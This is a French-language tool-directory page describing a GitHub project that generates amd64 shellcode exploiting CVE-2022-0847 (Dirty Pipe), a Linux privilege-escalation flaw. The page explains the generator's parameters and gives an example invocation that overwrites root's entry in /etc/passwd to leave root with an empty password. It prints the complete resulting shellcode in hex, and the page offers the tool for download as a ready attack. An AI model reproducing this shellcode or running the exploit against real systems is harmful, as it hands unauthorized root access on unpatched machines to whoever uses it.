Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
cve_2022_0847_shellcode — Implémentation de CVE-2022-0847 en tant que shellcode | Kitploit
Outils/GitHubGitHub/shotokhan/cve_2022_0847_shellcode
Escalade de PrivilègesGénération de PayloadsAnalyse des VulnérabilitésExploitationShellcodeExploitation de Binaires
GitHubshotokhan/cve_2022_0847_shellcode

cve_2022_0847_shellcode

Implémentation de CVE-2022-0847 en tant que shellcode

Voir le dépôt
3247il y a 4 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

cve_2022_0847_shellcode

Description

Ce dépôt contient un script Python (gen_shellcode.py), basé sur pwntools, pour générer un shellcode exploitant CVE-2022-0847.
Le shellcode est basé sur ce PoC : antx.
J'ai analysé le code du PoC et son exécution avec strace pour capturer tous les appels système nécessaires à la réalisation de l'exploit, et dans un premier temps j'ai écrit un programme C qui utilise syscall.h ; il n'était toujours pas adapté à un shellcode, mais il est utile comme référence, donc je l'ai inclus ici (tiny_cve-2022-0847.c).
La fonction qui génère le shellcode prend 3 paramètres : le chemin du fichier dans lequel écrire, les données à écrire et le décalage auquel les données doivent être écrites.
Un exemple de shellcode généré, au format désassemblé d'objdump, peut être trouvé dans shellcode.asm ; il a été généré avec les paramètres suivants :

  • filename /etc/passwd
  • data :$1$$qRPK7m23GJusamGpoGLby/:0:0::/:/bin/sh\n
  • offset 4

Cela laisse root avec un mot de passe vide.

Usage

root@kitploit:~
$ python gen_shellcode.py 
Usage: gen_shellcode.py filename data offset [verbose (any value here sets verbose to True)]

Vous pouvez importer la fonction cve_2022_0847, qui génère le shellcode, pour l'appeler dans d'autres scripts, ou utiliser directement ce script ; il y a une fonction example_usage qui appelle cve_2022_0847 et crée un ELF avec le shellcode.
La fonction cve_2022_0847 effectue également quelques vérifications de base, et affiche ce qui peut mal se passer avec l'exploit ainsi que le shellcode désassemblé si le paramètre verbose est défini.
Elle retourne le shellcode assemblé. La fonction main appelle cve_2022_0847 avec les paramètres de la ligne de commande et affiche le shellcode résultant en hexadécimal au format C, c'est-à-dire sans décoder les octets imprimables. Par exemple :

root@kitploit:~
$ python gen_shellcode.py /etc/passwd ":$1$$qRPK7m23GJusamGpoGLby/:0:0::/:/bin/sh\n" 4
Resulting shellcode:
\x68\x72\x76\x65\x01\x81\x34\x24\x01\x01\x01\x01\x48\xb8\x2f\x65\x74\x63\x2f\x70\x61\x73\x50\x48\x89\xe6\x6a\x9c\x5f\x31\xd2\x31\xc0\x66\xb8\x01\x01\x0f\x05\x48\x83\xec\x10\x48\x89\xe7\x6a\x16\x58\x0f\x05\x6a\x05\x5f\x31\xf6\x66\xbe\x08\x04\x6a\x48\x58\x0f\x05\x49\x89\xc7\x4d\x89\xfe\x6a\x05\x5f\x48\x81\xec\x00\x10\x00\x00\x48\x89\xe6\x31\xd2\xb6\x10\x4d\x85\xff\x74\x0a\x6a\x01\x58\x0f\x05\x49\x29\xd7\xeb\xf1\x4d\x89\xf7\x6a\x04\x5f\x4d\x85\xff\x74\x09\x31\xc0\x0f\x05\x49\x29\xd7\xeb\xf2\x6a\x03\x45\x31\xd2\x6a\x01\x41\x58\x45\x31\xc9\x6a\x03\x5f\x6a\x05\x5a\x48\x89\xe6\x31\xc0\x66\xb8\x13\x01\x0f\x05\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x72\x69\x5d\x6f\x01\x01\x01\x48\x31\x04\x24\x48\xb8\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x50\x48\xb8\x4c\x62\x79\x2f\x3a\x30\x3a\x30\x50\x48\xb8\x75\x73\x61\x6d\x47\x70\x6f\x47\x50\x48\xb8\x50\x4b\x37\x6d\x32\x33\x47\x4a\x50\x48\xb8\x3a\x31\x36\x39\x32\x33\x71\x52\x50\x48\x89\xe6\x6a\x05\x5f\x6a\x2d\x5a\x6a\x01\x58\x0f\x05\x31\xff\x31\xc0\xb0\xe7\x0f\x05

Avertissement

L'architecture prise en charge est uniquement amd64.

Télécharger l’outil